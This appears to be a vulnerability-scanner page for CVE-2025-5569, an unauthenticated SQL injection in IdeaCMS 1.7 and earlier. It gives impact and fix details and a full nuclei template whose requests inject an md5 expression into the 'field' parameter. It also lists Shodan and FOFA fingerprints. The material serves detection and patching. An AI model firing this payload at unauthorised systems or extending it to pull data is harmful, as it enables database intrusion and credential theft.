IdeaCMS <= 1.7 - SQL Injection

criticalseverity

9.8CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.

Impact

Unauthenticated attackers can extract sensitive data from the database through SQL injection in the field parameter, potentially compromising user information and system credentials.

Fix

Upgrade IdeaCMS to a version later than 1.7 that properly sanitizes SQL parameters in article and product query interfaces.

How to confirm it

Send: GET /api/v1.index.article/getList.html?field=id,md5({{num}})&size=1&cat=3&time_stamp=1781864476 ; GET /api/v1.index.goods/getList.html?field=id,md5({{num}})&activity_type=hot&time_stamp=1781864476
Positive when: contains "{{md5(num)}}" and "id\":1" and "data\":" AND status 200

Run it with nuclei: nuclei -id CVE-2025-5569 -u <target>

The full check

id: CVE-2025-5569

info:
  name: IdeaCMS <= 1.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.
  impact: |
    Unauthenticated attackers can extract sensitive data from the database through SQL injection in the field parameter, potentially compromising user information and system credentials.
  remediation: |
    Upgrade IdeaCMS to a version later than 1.7 that properly sanitizes SQL parameters in article and product query interfaces.
  reference:
    - https://gitee.com/ideacms/ideacms/issues/ICBVWE#note_42016626_link
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5569
  classification:
    epss-score: 0.01574
    epss-percentile: 0.75647
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-5569
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    product: IdeaCMS
    shodan-query: http.favicon.hash:-1033616879
    fofa-query: icon_hash:"-1033616879"
  tags: cve,cve2025,ideacms,sqli,vuln,vkev

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /api/v1.index.article/getList.html?field=id,md5({{num}})&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /api/v1.index.goods/getList.html?field=id,md5({{num}})&activity_type=hot&time_stamp=1781864476 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - 'id":1'
          - 'data":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from